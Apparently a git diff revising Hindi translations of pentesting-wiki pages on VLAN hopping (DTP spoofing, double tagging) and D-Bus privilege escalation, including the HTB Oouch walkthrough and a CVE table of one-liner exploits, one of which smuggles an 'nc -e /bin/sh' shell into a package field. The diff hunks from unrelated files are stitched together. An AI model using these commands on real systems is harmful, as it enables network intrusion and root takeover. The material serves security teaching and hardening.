• QEMU लॉन्च के तुरंत बाद बाइंडिंग करने वाले दुर्लभ लिसनिंग पोर्ट (2222, 10022, …) के लिए शिकार करें।
|
||||
• QEMU लॉन्च के तुरंत बाद बाइंडिंग करने वाले दुर्लभ लिसनिंग पोर्ट (2222, 10022, …) के लिए खोजें।
|
||||
|
||||
---
|
||||
|
||||
## जांचने के लिए अन्य उपकरण
|
||||
## Other tools to check
|
||||
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ताओं का निर्धारण किया जाना चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
|
||||
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ता निर्धारित किए जाने चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -44,7 +44,7 @@ sudo dhclient -v eth0.60
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोध शुरू करके किया जाता है।
|
||||
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोधों को आरंभ करके किया जाता है।
|
||||
|
||||
अंततः, यह प्रक्रिया VLAN विभाजन को बायपास करने की अनुमति देती है, जिससे किसी भी VLAN नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त होती है, और आगे की क्रियाओं के लिए मंच तैयार होता है।
|
||||
|
||||
@ -52,11 +52,11 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
|
||||
## अन्य VLAN-Hopping तकनीकें (कोई विशेषाधिकार प्राप्त स्विच CLI नहीं)
|
||||
|
||||
पिछली विधि मानती है कि स्विच पर प्रमाणित कंसोल या Telnet/SSH पहुंच है। वास्तविक दुनिया में, हमलावर आमतौर पर एक **सामान्य एक्सेस पोर्ट** से जुड़ा होता है। निम्नलिखित लेयर-2 ट्रिक्स अक्सर आपको स्विच OS में लॉग इन किए बिना पार्श्व रूप से पिवट करने की अनुमति देती हैं:
|
||||
पिछली विधि स्विच पर प्रमाणित कंसोल या टेलनेट/SSH पहुंच की धारणा करती है। वास्तविक दुनिया में, हमलावर आमतौर पर एक **सामान्य एक्सेस पोर्ट** से जुड़ा होता है। निम्नलिखित लेयर-2 ट्रिक्स अक्सर आपको स्विच OS में लॉग इन किए बिना पार्श्व रूप से पिवट करने की अनुमति देती हैं:
|
||||
|
||||
### 1. स्विच-स्पूफिंग के साथ डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)
|
||||
|
||||
Cisco स्विच जो DTP को सक्षम रखते हैं, वे खुशी-खुशी एक ट्रंक पर बातचीत करेंगे यदि समकक्ष यह दावा करता है कि वह एक स्विच है। एकल **DTP “desirable”** या **“trunk”** फ्रेम बनाने से एक्सेस पोर्ट को 802.1Q ट्रंक में परिवर्तित किया जाता है जो *सभी* अनुमत VLANs को ले जाता है।
|
||||
Cisco स्विच जो DTP को सक्षम रखते हैं, वे खुशी-खुशी एक ट्रंक का सौदा करेंगे यदि समकक्ष यह दावा करता है कि वह एक स्विच है। एकल **DTP “desirable”** या **“trunk”** फ्रेम को तैयार करना एक्सेस पोर्ट को 802.1Q ट्रंक में परिवर्तित करता है जो *सभी* अनुमत VLANs को ले जाता है।
|
||||
|
||||
*Yersinia* और कई PoCs इस प्रक्रिया को स्वचालित करते हैं:
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
जब पोर्ट ट्रंक पर स्विच होता है, तो आप 802.1Q उप-इंटरफेस बना सकते हैं और ठीक उसी तरह से पिवट कर सकते हैं जैसे पिछले अनुभाग में दिखाया गया है। आधुनिक Linux कर्नेल अब *vconfig* की आवश्यकता नहीं रखते; इसके बजाय *ip link* का उपयोग करें:
|
||||
जैसे ही पोर्ट ट्रंक पर स्विच होता है, आप 802.1Q उप-इंटरफेस बना सकते हैं और ठीक उसी तरह से पिवट कर सकते हैं जैसे पिछले अनुभाग में दिखाया गया है। आधुनिक Linux कर्नेल अब *vconfig* की आवश्यकता नहीं रखते; इसके बजाय *ip link* का उपयोग करें:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
@ -89,7 +89,7 @@ Packet walk-through:
|
||||
1. बाहरी टैग (1) पहले स्विच द्वारा हटा दिया जाता है क्योंकि यह मूल VLAN से मेल खाता है।
|
||||
2. आंतरिक टैग (20) अब उजागर है; फ्रेम VLAN 20 की ओर ट्रंक पर अग्रेषित किया जाता है।
|
||||
|
||||
यह तकनीक 2025 में उन नेटवर्क पर काम करती है जो मूल VLAN को डिफ़ॉल्ट पर छोड़ते हैं और बिना टैग वाले फ्रेम स्वीकार करते हैं।
|
||||
यह तकनीक 2025 में भी काम करती है उन नेटवर्क पर जो मूल VLAN को डिफ़ॉल्ट पर छोड़ते हैं और बिना टैग वाले फ्रेम स्वीकार करते हैं।
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## **GUI enumeration**
|
||||
|
||||
D-Bus का उपयोग Ubuntu डेस्कटॉप वातावरण में इंटर-प्रोसेस संचार (IPC) मध्यस्थ के रूप में किया जाता है। Ubuntu पर, कई संदेश बसों का समवर्ती संचालन देखा जाता है: सिस्टम बस, जिसे मुख्य रूप से **privileged services को सिस्टम के पार प्रासंगिक सेवाओं को उजागर करने के लिए** उपयोग किया जाता है, और प्रत्येक लॉगिन किए गए उपयोगकर्ता के लिए एक सत्र बस, जो केवल उस विशेष उपयोगकर्ता के लिए प्रासंगिक सेवाओं को उजागर करता है। यहाँ ध्यान मुख्य रूप से सिस्टम बस पर है क्योंकि यह उच्च विशेषाधिकार (जैसे, root) पर चलने वाली सेवाओं से संबंधित है क्योंकि हमारा उद्देश्य विशेषाधिकार बढ़ाना है। यह noted किया गया है कि D-Bus की आर्किटेक्चर प्रत्येक सत्र बस के लिए एक 'राउटर' का उपयोग करती है, जो क्लाइंट संदेशों को उन सेवाओं की ओर पुनर्निर्देशित करने के लिए जिम्मेदार है जो क्लाइंट द्वारा उस सेवा के लिए निर्दिष्ट पते के आधार पर संचारित करना चाहते हैं।
|
||||
D-Bus का उपयोग Ubuntu डेस्कटॉप वातावरण में इंटर-प्रोसेस संचार (IPC) मध्यस्थ के रूप में किया जाता है। Ubuntu पर, कई संदेश बसों का समवर्ती संचालन देखा जाता है: सिस्टम बस, जिसे मुख्य रूप से **privileged services द्वारा सिस्टम के पार प्रासंगिक सेवाओं को उजागर करने के लिए** उपयोग किया जाता है, और प्रत्येक लॉगिन किए गए उपयोगकर्ता के लिए एक सत्र बस, जो केवल उस विशेष उपयोगकर्ता के लिए प्रासंगिक सेवाओं को उजागर करता है। यहाँ ध्यान मुख्य रूप से सिस्टम बस पर है क्योंकि यह उच्च विशेषाधिकार (जैसे, root) पर चलने वाली सेवाओं से संबंधित है क्योंकि हमारा उद्देश्य विशेषाधिकार बढ़ाना है। यह noted किया गया है कि D-Bus की आर्किटेक्चर प्रत्येक सत्र बस के लिए एक 'राउटर' का उपयोग करती है, जो क्लाइंट संदेशों को उन सेवाओं की ओर पुनर्निर्देशित करने के लिए जिम्मेदार है जो क्लाइंट द्वारा उस सेवा के लिए निर्दिष्ट पते के आधार पर होती हैं, जिसके साथ वे संवाद करना चाहते हैं।
|
||||
|
||||
D-Bus पर सेवाएँ उन **objects** और **interfaces** द्वारा परिभाषित की जाती हैं जो वे उजागर करती हैं। Objects को मानक OOP भाषाओं में वर्ग उदाहरणों के समान माना जा सकता है, प्रत्येक उदाहरण को एक **object path** द्वारा अद्वितीय रूप से पहचाना जाता है। यह पथ, फाइल सिस्टम पथ के समान, सेवा द्वारा उजागर किए गए प्रत्येक object को अद्वितीय रूप से पहचानता है। अनुसंधान उद्देश्यों के लिए एक प्रमुख इंटरफेस है **org.freedesktop.DBus.Introspectable** इंटरफेस, जिसमें एकल विधि, Introspect है। यह विधि object के समर्थित विधियों, संकेतों, और गुणों का XML प्रतिनिधित्व लौटाती है, यहाँ विधियों पर ध्यान केंद्रित किया गया है जबकि गुणों और संकेतों को छोड़ दिया गया है।
|
||||
D-Bus पर सेवाएँ उन **objects** और **interfaces** द्वारा परिभाषित की जाती हैं जो वे उजागर करती हैं। Objects को मानक OOP भाषाओं में वर्ग उदाहरणों के समान माना जा सकता है, प्रत्येक उदाहरण को एक **object path** द्वारा अद्वितीय रूप से पहचाना जाता है। यह पथ, फाइल सिस्टम पथ के समान, सेवा द्वारा उजागर किए गए प्रत्येक वस्तु की अद्वितीय पहचान करता है। अनुसंधान उद्देश्यों के लिए एक प्रमुख इंटरफेस **org.freedesktop.DBus.Introspectable** इंटरफेस है, जिसमें एकल विधि, Introspect है। यह विधि वस्तु के समर्थित विधियों, संकेतों और गुणों का XML प्रतिनिधित्व लौटाती है, यहाँ विधियों पर ध्यान केंद्रित करते हुए गुणों और संकेतों को छोड़ दिया गया है।
|
||||
|
||||
D-Bus इंटरफेस के साथ संचार के लिए, दो उपकरणों का उपयोग किया गया: एक CLI उपकरण जिसका नाम **gdbus** है जो D-Bus द्वारा स्क्रिप्ट में उजागर की गई विधियों को आसानी से लागू करने के लिए है, और [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), एक Python-आधारित GUI उपकरण जो प्रत्येक बस पर उपलब्ध सेवाओं को सूचीबद्ध करने और प्रत्येक सेवा में निहित objects को प्रदर्शित करने के लिए डिज़ाइन किया गया है।
|
||||
D-Bus इंटरफेस के साथ संवाद करने के लिए, दो उपकरणों का उपयोग किया गया: एक CLI उपकरण जिसका नाम **gdbus** है, जो D-Bus द्वारा स्क्रिप्ट में उजागर की गई विधियों को आसानी से बुलाने के लिए है, और [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), एक Python-आधारित GUI उपकरण जो प्रत्येक बस पर उपलब्ध सेवाओं को सूचीबद्ध करने और प्रत्येक सेवा में निहित वस्तुओं को प्रदर्शित करने के लिए डिज़ाइन किया गया है।
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
@ -20,7 +20,7 @@ sudo apt-get install d-feet
|
||||
|
||||
एक महत्वपूर्ण विशेषता सेवा के **प्रक्रिया आईडी (pid)** और **कमांड लाइन** का प्रदर्शन है, जो यह पुष्टि करने के लिए उपयोगी है कि क्या सेवा उच्च विशेषाधिकारों के साथ चल रही है, जो अनुसंधान प्रासंगिकता के लिए महत्वपूर्ण है।
|
||||
|
||||
**D-Feet विधि आह्वान की अनुमति भी देता है**: उपयोगकर्ता पैरामीटर के रूप में Python अभिव्यक्तियाँ इनपुट कर सकते हैं, जिन्हें D-Feet सेवा को पास करने से पहले D-Bus प्रकारों में परिवर्तित करता है।
|
||||
**D-Feet विधि आह्वान की अनुमति भी देता है**: उपयोगकर्ता पैरामीटर के रूप में पायथन अभिव्यक्तियाँ इनपुट कर सकते हैं, जिन्हें D-Feet D-Bus प्रकारों में परिवर्तित करता है और फिर सेवा को पास करता है।
|
||||
|
||||
हालांकि, ध्यान दें कि **कुछ विधियों के लिए प्रमाणीकरण की आवश्यकता होती है** इससे पहले कि हमें उन्हें आह्वान करने की अनुमति दी जाए। हम इन विधियों को नजरअंदाज करेंगे, क्योंकि हमारा लक्ष्य पहले स्थान पर बिना क्रेडेंशियल्स के अपने विशेषाधिकारों को बढ़ाना है।
|
||||
|
||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### Connections
|
||||
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) जब एक प्रक्रिया एक बस से कनेक्शन स्थापित करती है, तो बस उस कनेक्शन को एक विशेष बस नाम सौंपती है जिसे _विशिष्ट कनेक्शन नाम_ कहा जाता है। इस प्रकार के बस नाम अपरिवर्तनीय होते हैं—यह सुनिश्चित किया गया है कि जब तक कनेक्शन मौजूद है, वे नहीं बदलेंगे—और, अधिक महत्वपूर्ण, इन्हें बस के जीवनकाल के दौरान पुन: उपयोग नहीं किया जा सकता। इसका मतलब है कि उस बस के लिए कोई अन्य कनेक्शन कभी भी ऐसा विशिष्ट कनेक्शन नाम नहीं प्राप्त करेगा, भले ही वही प्रक्रिया बस के कनेक्शन को बंद कर दे और एक नया बनाए। विशिष्ट कनेक्शन नाम आसानी से पहचाने जा सकते हैं क्योंकि वे—अन्यथा निषिद्ध—कोलन वर्ण से शुरू होते हैं।
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) जब एक प्रक्रिया एक बस से कनेक्शन स्थापित करती है, तो बस उस कनेक्शन को एक विशेष बस नाम सौंपती है जिसे _विशिष्ट कनेक्शन नाम_ कहा जाता है। इस प्रकार के बस नाम अपरिवर्तनीय होते हैं—यह सुनिश्चित किया गया है कि जब तक कनेक्शन मौजूद है, वे नहीं बदलेंगे—और, अधिक महत्वपूर्ण, इन्हें बस के जीवनकाल के दौरान पुन: उपयोग नहीं किया जा सकता। इसका मतलब है कि उस बस के लिए कोई अन्य कनेक्शन कभी भी ऐसा विशिष्ट कनेक्शन नाम नहीं प्राप्त करेगा, भले ही वही प्रक्रिया बस के कनेक्शन को बंद कर दे और एक नया बनाए। विशिष्ट कनेक्शन नाम आसानी से पहचाने जा सकते हैं क्योंकि वे—अन्यथा निषिद्ध—कोलन चरित्र से शुरू होते हैं।
|
||||
|
||||
### Service Object Info
|
||||
|
||||
@ -132,7 +132,7 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
```
|
||||
### Introspect Interface of a Service Object
|
||||
|
||||
ध्यान दें कि इस उदाहरण में `tree` पैरामीटर का उपयोग करके खोजी गई नवीनतम इंटरफ़ेस का चयन किया गया है (_पिछले अनुभाग को देखें_):
|
||||
ध्यान दें कि इस उदाहरण में `tree` पैरामीटर का उपयोग करके नवीनतम इंटरफेस का चयन किया गया था (_पिछले अनुभाग को देखें_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
@ -150,13 +150,13 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
ध्यान दें कि इंटरफेस `htb.oouch.Block` का तरीका `.Block` (जिसमें हम रुचि रखते हैं) है। अन्य कॉलम का "s" यह दर्शा सकता है कि यह एक स्ट्रिंग की अपेक्षा कर रहा है।
|
||||
ध्यान दें कि इंटरफेस `htb.oouch.Block` का तरीका `.Block` (जिसमें हम रुचि रखते हैं) है। अन्य कॉलम का "s" यह संकेत कर सकता है कि यह एक स्ट्रिंग की अपेक्षा कर रहा है।
|
||||
|
||||
### मॉनिटर/कैप्चर इंटरफेस
|
||||
|
||||
पर्याप्त विशेषाधिकारों के साथ (केवल `send_destination` और `receive_sender` विशेषाधिकार पर्याप्त नहीं हैं) आप **D-Bus संचार** को **मॉनिटर** कर सकते हैं।
|
||||
|
||||
**संचार** को **मॉनिटर** करने के लिए आपको **रूट** होना आवश्यक है। यदि आप रूट होने में अभी भी समस्याएँ पा रहे हैं तो [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) और [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) की जांच करें।
|
||||
**संचार** को **मॉनिटर** करने के लिए आपको **रूट** होना आवश्यक है। यदि आप रूट होने पर भी समस्याएँ पाते हैं तो [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) और [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) की जांच करें।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि आप जानते हैं कि D-Bus कॉन्फ़िग फ़ाइल को **गैर-रूट उपयोगकर्ताओं को संचार को स्निफ़ करने की अनुमति देने** के लिए कैसे कॉन्फ़िगर करना है, तो कृपया **मुझसे संपर्क करें**!
|
||||
@ -167,7 +167,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
इस उदाहरण में इंटरफेस `htb.oouch.Block` की निगरानी की जाती है और **संदेश "**_**lalalalal**_**" गलत संचार के माध्यम से भेजा जाता है**:
|
||||
इस उदाहरण में इंटरफ़ेस `htb.oouch.Block` की निगरानी की जाती है और **संदेश "**_**lalalalal**_**" गलत संचार के माध्यम से भेजा जाता है**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
@ -233,7 +233,7 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
पिछली कॉन्फ़िगरेशन से नोट करें कि **आपको इस D-BUS संचार के माध्यम से जानकारी भेजने और प्राप्त करने के लिए `root` या `www-data` उपयोगकर्ता होना आवश्यक है**।
|
||||
|
||||
डॉकर कंटेनर **aeb4525789d8** के अंदर उपयोगकर्ता **qtc** के रूप में, आप फ़ाइल _/code/oouch/routes.py_ में कुछ dbus से संबंधित कोड पा सकते हैं। यह दिलचस्प कोड है:
|
||||
उपयोगकर्ता **qtc** के रूप में डॉकर कंटेनर **aeb4525789d8** के अंदर, आप फ़ाइल _/code/oouch/routes.py_ में कुछ dbus से संबंधित कोड पा सकते हैं। यह दिलचस्प कोड है:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
@ -262,7 +262,7 @@ r = sd_bus_add_object_vtable(bus,
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
इसके अलावा, लाइन 57 में आप देख सकते हैं कि **इस D-Bus संचार के लिए पंजीकृत एकमात्र विधि** को `Block` कहा जाता है (_**इसलिए अगले अनुभाग में पेलोड को सेवा वस्तु `htb.oouch.Block`, इंटरफेस `/htb/oouch/Block` और विधि नाम `Block` पर भेजा जाएगा**_):
|
||||
इसके अलावा, लाइन 57 में आप देख सकते हैं कि **इस D-Bus संचार के लिए केवल एक ही विधि पंजीकृत है** जिसे `Block` कहा जाता है (_**इसलिए अगले अनुभाग में पेलोड को सेवा वस्तु `htb.oouch.Block`, इंटरफेस `/htb/oouch/Block` और विधि नाम `Block` पर भेजा जाएगा**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
@ -287,7 +287,7 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou
|
||||
- “-system” टैग का उपयोग यह बताने के लिए किया जाता है कि यह एक सिस्टम संदेश है, न कि एक सत्र संदेश (डिफ़ॉल्ट रूप से)।
|
||||
- “–print-reply” टैग का उपयोग हमारे संदेश को उचित रूप से प्रिंट करने और किसी भी उत्तर को मानव-पठनीय प्रारूप में प्राप्त करने के लिए किया जाता है।
|
||||
- “–dest=Dbus-Interface-Block” Dbus इंटरफ़ेस का पता है।
|
||||
- “–string:” – संदेश का प्रकार जिसे हम इंटरफ़ेस को भेजना चाहते हैं। संदेश भेजने के कई प्रारूप हैं जैसे डबल, बाइट्स, बूलियन, int, objpath। इनमें से, "object path" तब उपयोगी होता है जब हम Dbus इंटरफ़ेस को फ़ाइल का पथ भेजना चाहते हैं। इस मामले में, हम एक विशेष फ़ाइल (FIFO) का उपयोग कर सकते हैं ताकि फ़ाइल के नाम पर इंटरफ़ेस को एक कमांड पास किया जा सके। “string:;” – यह फिर से object path को कॉल करने के लिए है जहाँ हम FIFO रिवर्स शेल फ़ाइल/कमांड रखते हैं।
|
||||
- “–string:” – संदेश का प्रकार जिसे हम इंटरफ़ेस को भेजना चाहते हैं। संदेश भेजने के कई प्रारूप हैं जैसे डबल, बाइट्स, बूलियन, इंट, ऑब्जेक्ट पाथ। इनमें से, "ऑब्जेक्ट पाथ" तब उपयोगी होता है जब हम Dbus इंटरफ़ेस को एक फ़ाइल का पाथ भेजना चाहते हैं। इस मामले में, हम एक विशेष फ़ाइल (FIFO) का उपयोग कर सकते हैं ताकि फ़ाइल के नाम पर इंटरफ़ेस को एक कमांड पास किया जा सके। “string:;” – यह ऑब्जेक्ट पाथ को फिर से कॉल करने के लिए है जहाँ हम FIFO रिवर्स शेल फ़ाइल/कमांड रखते हैं।
|
||||
|
||||
_ध्यान दें कि `htb.oouch.Block.Block` में, पहला भाग (`htb.oouch.Block`) सेवा वस्तु को संदर्भित करता है और अंतिम भाग (`.Block`) विधि नाम को संदर्भित करता है।_
|
||||
|
||||
@ -434,7 +434,7 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
```
|
||||
## Automated Enumeration Helpers (2023-2025)
|
||||
|
||||
D-Bus हमले की बड़ी सतह का मैन्युअल रूप से `busctl`/`gdbus` के साथ एन्यूमरेशन करना जल्दी ही दर्दनाक हो जाता है। पिछले कुछ वर्षों में जारी किए गए दो छोटे FOSS उपयोगिताएँ रेड-टीम या CTF एंगेजमेंट के दौरान चीजों को तेज कर सकती हैं:
|
||||
D-Bus हमले की सतह का मैन्युअल रूप से `busctl`/`gdbus` के साथ एन्यूमरेशन करना जल्दी ही दर्दनाक हो जाता है। पिछले कुछ वर्षों में जारी किए गए दो छोटे FOSS उपयोगिताएँ रेड-टीम या CTF कार्यों के दौरान चीजों को तेज कर सकती हैं:
|
||||
|
||||
### dbusmap ("Nmap for D-Bus")
|
||||
* लेखक: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||
@ -444,10 +444,10 @@ D-Bus हमले की बड़ी सतह का मैन्युअल
|
||||
# *system* बस पर हर सेवा की सूची बनाएं और सभी कॉल करने योग्य विधियों को डंप करें
|
||||
sudo dbus-map --dump-methods
|
||||
|
||||
# उन विधियों/गुणों की सक्रिय रूप से जांच करें जिन तक आप बिना Polkit प्रॉम्प्ट के पहुंच सकते हैं
|
||||
# उन विधियों/गुणों की सक्रिय रूप से जांच करें जिन तक आप बिना Polkit प्रॉम्प्ट के पहुँच सकते हैं
|
||||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
```
|
||||
* यह उपकरण बिना सुरक्षा के प्रसिद्ध नामों को `!` के साथ चिह्नित करता है, तुरंत उन सेवाओं को प्रकट करता है जिन्हें आप *own* (कब्जा करना) या उन विधि कॉल्स को जो एक अप्रिविलेज्ड शेल से पहुंच योग्य हैं।
|
||||
* यह उपकरण बिना सुरक्षा वाले प्रसिद्ध नामों को `!` के साथ चिह्नित करता है, तुरंत उन सेवाओं को प्रकट करता है जिन्हें आप *own* (कब्जा करना) या उन विधि कॉल्स को जो एक अप्रिविलेज्ड शेल से पहुँच योग्य हैं।
|
||||
|
||||
### uptux.py
|
||||
* लेखक: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
@ -465,17 +465,17 @@ python3 uptux.py -d # विस्तृत डिबग आउटप
|
||||
|
||||
## Notable D-Bus Privilege-Escalation Bugs (2024-2025)
|
||||
|
||||
हाल ही में प्रकाशित CVEs पर नज़र रखना कस्टम कोड में समान असुरक्षित पैटर्न को पहचानने में मदद करता है। निम्नलिखित उच्च-प्रभाव वाले स्थानीय EoP मुद्दे सभी **system bus** पर प्रमाणीकरण/अधिकार की कमी से उत्पन्न होते हैं:
|
||||
हाल ही में प्रकाशित CVEs पर नज़र रखना कस्टम कोड में समान असुरक्षित पैटर्न को पहचानने में मदद करता है। निम्नलिखित उच्च-प्रभाव वाले स्थानीय EoP मुद्दे सभी **सिस्टम बस** पर प्रमाणीकरण/अधिकार की कमी से उत्पन्न होते हैं:
|
||||
|
||||
| वर्ष | CVE | घटक | मूल कारण | One-Liner PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID डेमॉन) | `logid` सिस्टम सेवा एक अनियंत्रित `org.freedesktop.Logiopsd` इंटरफेस को उजागर करती है जो *किसी भी* उपयोगकर्ता को डिवाइस प्रोफाइल बदलने और मैक्रो स्ट्रिंग्स के माध्यम से मनमाने शेल कमांड इंजेक्ट करने की अनुमति देती है। | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | एक रूट-चलने वाला प्रॉक्सी पुराने बस नामों को बैकएंड सेवाओं की ओर अग्रेषित करता है **बिना कॉलर UID/Polkit संदर्भ को अग्रेषित किए**, इसलिए हर अग्रेषित अनुरोध UID 0 के रूप में माना जाता है। | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | सार्वजनिक `Dispatch` विधि में कोई ACLs नहीं हैं → हमलावर *पैकेज-मैनेजर* कार्यकर्ता को मनमाने RPMs स्थापित करने का आदेश दे सकता है। | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | सार्वजनिक `Dispatch` विधि में कोई ACLs नहीं है → हमलावर *पैकेज-मैनेजर* कार्यकर्ता को मनमाने RPMs स्थापित करने का आदेश दे सकता है। | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
ध्यान देने योग्य पैटर्न:
|
||||
1. सेवा **system bus पर रूट के रूप में चलती है**।
|
||||
2. कोई PolicyKit जांच नहीं (या इसे एक प्रॉक्सी द्वारा बायपास किया गया है)।
|
||||
1. सेवा **सिस्टम बस पर रूट के रूप में चलती है**।
|
||||
2. कोई PolicyKit जांच नहीं है (या इसे एक प्रॉक्सी द्वारा बायपास किया गया है)।
|
||||
3. विधि अंततः `system()`/पैकेज स्थापना/डिवाइस पुनः कॉन्फ़िगरेशन की ओर ले जाती है → कोड निष्पादन।
|
||||
|
||||
`dbusmap --enable-probes` या मैनुअल `busctl call` का उपयोग करें यह पुष्टि करने के लिए कि क्या एक पैच उचित `polkit_authority_check_authorization()` लॉजिक को बैक-पोर्ट करता है।
|
||||
@ -488,9 +488,9 @@ python3 uptux.py -d # विस्तृत डिबग आउटप
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* खतरनाक विधियों के लिए Polkit की आवश्यकता – यहां तक कि *root* प्रॉक्सी को `polkit_authority_check_authorization_sync()` को अपने स्वयं के PID के बजाय *caller* PID को पास करना चाहिए।
|
||||
* खतरनाक विधियों के लिए Polkit की आवश्यकता करें – यहां तक कि *रूट* प्रॉक्सी को `polkit_authority_check_authorization_sync()` को अपने स्वयं के PID के बजाय *कॉलर* PID को पास करना चाहिए।
|
||||
* लंबे समय तक चलने वाले सहायक में विशेषाधिकार छोड़ें (बस से कनेक्ट करने के बाद namespaces को स्विच करने के लिए `sd_pid_get_owner_uid()` का उपयोग करें)।
|
||||
* यदि आप एक सेवा को हटा नहीं सकते हैं, तो कम से कम इसे एक समर्पित Unix समूह तक *scope* करें और इसकी XML नीति में पहुंच को प्रतिबंधित करें।
|
||||
* यदि आप एक सेवा को हटा नहीं सकते हैं, तो कम से कम इसे एक समर्पित Unix समूह तक *स्कोप* करें और इसकी XML नीति में पहुंच को प्रतिबंधित करें।
|
||||
* ब्लू-टीम: `busctl capture --output=/var/log/dbus_$(date +%F).pcap` के साथ सिस्टम बस की स्थायी कैप्चर सक्षम करें और विसंगति पहचान के लिए Wireshark में आयात करें।
|
||||
|
||||
---
|
||||
|
@ -12,20 +12,20 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
